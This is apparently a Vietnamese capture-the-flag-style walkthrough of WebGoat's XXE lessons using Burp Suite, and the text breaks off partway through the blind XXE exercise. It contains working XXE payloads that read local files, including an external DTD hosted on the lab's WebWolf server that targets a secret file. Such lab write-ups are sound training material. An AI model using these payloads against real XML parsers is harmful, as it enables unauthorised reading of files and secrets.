- XXE (XML external entity) hay tấn công thực thể bên ngoài XML là lỗ hổng lợi dụng tính năng phân tích cú pháp của XML dùng để phân tích cú pháp đầu vào XML từ người dùng. Từ đó kẻ tấn công có thể truy cập đến các tệp cục bộ, chạy các lệnh, quét các dịch vụ và các cổng nội bộ, truy cập mạng nội bộ, từ đó có thể thực hiện 1 cuộc tấn công DOS đến máy chủ dễ bị khai thác
1. Let's try
- Khởi động Brup Suite và mở WebGoat trong tình duyệt của Brup Suite:
- Bật Intercept trên Brup Suite.
- Nhấn Submit trên WebGoat và mở Brup Suite xem ta sẽ thấy được Request:
- Thay đổi XML trong Request theo code bên dưới và nhấn Forward.
<?xml version="1.0"?> <!DOCTYPE comment [<!ENTITY xxe SYSTEM "file:///C:/">]> <comment> <text>&xxe;</text> </comment>
- Sau đó quay trở lại WebGoat đã tự động cập nhật hoàn thành:
2. Modern REST framework
- Khởi động Brup Suite và mở WebGoat trong tình duyệt của Brup Suite:
- Bật Intercept trên Brup Suite.
- Nhấn Submit trên WebGoat và mở Brup Suite xem ta sẽ thấy được Request:
- Thay đổi
application/json
trở thànhapplication/xml
, và thêm đoạn code XML bên dưới, sau đó nhấn Forward:
<?xml version="1.0"?> <!DOCTYPE comment [<!ENTITY xxe SYSTEM "file:///C:/">]> <comment> <text> &xxe;</text> </comment>
- Sau đó quay trở lại WebGoat đã tự động cập nhật hoàn thành:
3. Blind XXE assignment
- Vào trang: http://127.0.0.1:9090/WebWolf/files
- Tạo một file tên là ** attack.dtd** (nội dung file là đoạn code bên dưới) và Upload nó lên WebWolf:
<?xml version="1.0" encoding="UTF-8"?> <!ENTITY attackxxe SYSTEM 'file:///C:\Users\asus\.webgoat-2023.8\XXE\theviblog\secret.txt'>
- Bật Intercept trên Brup Suite.
- Nhấn Submit trên WebGoat, trên Brup Suite ta sẽ thấy được Request:
Còn tiếp...